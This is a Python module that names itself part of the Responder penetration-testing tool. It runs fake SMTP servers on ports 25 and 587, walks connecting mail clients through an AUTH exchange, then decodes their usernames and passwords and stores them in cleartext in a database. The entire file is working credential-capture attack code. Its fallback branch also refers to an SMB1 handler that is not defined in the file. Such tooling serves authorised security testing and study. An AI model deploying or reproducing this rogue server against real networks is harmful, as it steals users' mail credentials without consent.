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98 lines
2.8 KiB
Python
98 lines
2.8 KiB
Python
#!/usr/bin/env python
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# This file is part of Responder
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# Original work by Laurent Gaffie - Trustwave Holdings
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#
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import os
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import core.responder.settings as settings
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import threading
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from core.responder.utils import *
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from base64 import b64decode, b64encode
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from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
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from core.responder.packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
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class SMTP:
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def start(self):
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try:
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if OsInterfaceIsSupported():
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server1 = ThreadingTCPServer((settings.Config.Bind_To, 25), ESMTP)
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server2 = ThreadingTCPServer((settings.Config.Bind_To, 587), ESMTP)
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else:
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server1 = ThreadingTCPServer(('', 25), SMB1)
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server2 = ThreadingTCPServer(('', 587), SMB1)
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for server in [server1, server2]:
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t = threading.Thread(name='SMTP', target=server.serve_forever)
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t.setDaemon(True)
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t.start()
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except Exception as e:
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print "Error starting SMTP server: {}".format(e)
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print_exc()
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class ThreadingTCPServer(ThreadingMixIn, TCPServer):
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allow_reuse_address = 1
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def server_bind(self):
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if OsInterfaceIsSupported():
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try:
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self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
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except:
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pass
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TCPServer.server_bind(self)
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# ESMTP Server class
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class ESMTP(BaseRequestHandler):
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def handle(self):
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try:
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self.request.send(str(SMTPGreeting()))
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data = self.request.recv(1024)
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if data[0:4] == "EHLO":
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self.request.send(str(SMTPAUTH()))
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data = self.request.recv(1024)
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if data[0:4] == "AUTH":
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self.request.send(str(SMTPAUTH1()))
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data = self.request.recv(1024)
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if data:
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try:
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User = filter(None, b64decode(data).split('\x00'))
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Username = User[0]
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Password = User[1]
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except:
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Username = b64decode(data)
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self.request.send(str(SMTPAUTH2()))
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data = self.request.recv(1024)
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if data:
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try: Password = b64decode(data)
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except: Password = data
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SaveToDb({
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'module': 'SMTP',
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'type': 'Cleartext',
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'client': self.client_address[0],
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'user': Username,
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'cleartext': Password,
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'fullhash': Username+":"+Password,
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})
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except Exception:
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pass |